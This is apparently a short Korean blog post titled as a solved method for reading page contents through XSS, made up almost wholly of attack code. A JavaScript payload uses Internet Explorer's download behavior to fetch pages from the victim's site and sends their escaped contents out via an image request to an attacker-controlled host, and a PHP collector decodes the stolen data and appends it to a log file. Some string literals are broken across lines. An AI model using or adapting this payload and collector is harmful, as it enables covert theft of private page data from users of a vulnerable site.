xss 파일 페이지 내용 읽 기(해결)

1614 단어 xss내용 읽 기
js:
 
document.body.addBehavior("#default#Download");
var mycars = new Array();
mycars[0] = "l.htm";
mycars[1] = "y.htm";
for (x in mycars )
{
if(document.body.startDownload(mycars[x],GetData)){
GetData(source);
}
}

function GetData(source)
{
txt=escape(source);
getReaded(txt);
}
function getReaded(usr) {
var newimg = new Image();
newimg.src="http://192.168.0.12/style.php?key="+"
"+"
"+usr+"
"+"
";
}
php:
 
<?php
header('Content-Type:text/html;charset=GB2312');
function unescape($str) {
$str = rawurldecode($str);
preg_match_all("/%u.{4}|&#x.{4};|&#\d+;|.+/U",$str,$r);
$ar = $r[0];
foreach($ar as $k=>$v) {
if(substr($v,0,2) == "%u")
$ar[$k] = iconv("UCS-2","UTF-8",pack("H4",substr($v,-4)));
elseif(substr($v,0,3) == "&#x")
$ar[$k] = iconv("UCS-2","UTF-8",pack("H4",substr($v,3,-1)));
elseif(substr($v,0,2) == "&#") {
$ar[$k] = iconv("UCS-2","UTF-8",pack("n",substr($v,2,-1)));
}
}
return join("",$ar);
}
$file="news.html";
$_GET['key']=unescape($_GET['key']);
fputs(fopen($file,'a+'),$_GET['key']);
?>
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